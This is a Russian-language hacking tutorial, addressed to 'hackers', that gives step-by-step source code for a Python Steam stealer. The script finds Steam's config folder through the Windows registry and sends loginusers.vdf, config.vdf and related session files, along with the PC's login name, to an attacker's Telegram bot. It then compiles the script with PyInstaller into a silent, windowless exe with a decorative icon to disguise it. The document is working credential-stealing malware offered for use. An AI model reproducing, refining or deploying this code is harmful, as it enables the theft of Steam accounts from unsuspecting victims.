Steam стиллер на Python v2.0
https://t.me/darkside_team
Привет хацкеры, это дополнение к предыдущей статье про Стим стиллер
Создаем новую папку, например D:/bot и в ней файл bot.py, скрипт будем запускать в виртуальном окружении, так удобнее для дальнейшей сборки
Открываем bot.py в каком-нибудь продвинутом блокноте и начинаем писать код
Код:
import telebot import os import winreg
Импортируем библиотеки, для работы с ботом, с путями к файлам и реестром
Код:
bot = telebot.TeleBot("6354ХХХХХ:AAEBZeuDD3LCCpe2s2YLP0HEgХХХХХХХХХ") chat_id = 2989ХХХХХ
Создаем объект для работы с telegram и записываем id чата в переменную
Код:
files = ["config.vdf", "loginusers.vdf", "DialogConfig.vdf", "fiterlist.vdf"]
Список файлов которые нужно отослать в телеграм
Код:
try: regpath='Software\\Valve\\Steam' root = winreg.OpenKey(winreg.HKEY_CURRENT_USER, regpath, 0) steam, _ = winreg.QueryValueEx(root, "SteamPath") steam = os.path.join(steam, 'config') except: exit()
Пытаемся найти в реестре путь к Steam, если нашли, то дописываем путь к папке config, так как нужные файлы лежат там, если не нашли, тихо выходим
Код:
username = os.getlogin() bot.send_message(chat_id, username)
Отправляем в бот имя ПК
Код:
for file in files: try: doc = open(os.path.join(steam, file), 'rb') bot.send_document(chat_id, doc) except: pass
Пробуем отправить файлы Steam по одному, если файла нет, ничего не делаем
Код написан, сохраняем файл и закрываем блокнот, сейчас будем устанавливать виртуальное окружение
Открываем папку в проводнике зажимаем клавишу SHIFT и кликаем правой кнопкой мыши на свободное место, откроется контекстное меню с дополнительными опциями, нужна строка Открыть окно команд
Откроется командная строка в папке, в командной сроке пишем
python -m venv venv
venv\scripts\activate
Тут мы создаем виртуальное окружение и активируем его, теперь командную строку можно закрыть, отрыть, снова написать venv\scripts\activate и снова запустим виртуальное окружение
Текст выделенный красным показывает, что мы в виртуальном окружении
Устанавливаем библиотеку для telegram, пишем в командной строке
pip install pyTelegramBotAPI
Все готово, теперь можете написать с командной строке python bot.py и ваши файлы стим загрузятся в канал бота в telegram, если все сделано правильно
Переходим к созданию exe, пишем в командной строке
pip install pyinstaller
Сначала находим в гугле красивую иконку для нашего exe, она должна быть в формате ico, кладем в нашу папку рядом со скриптом, затем пишем в командной строке
pyinstaller --onefile --noconsole --icon=icon.ico bot.py
Появятся папки __pycache__, build, dist, в папке dist и лежит наш exe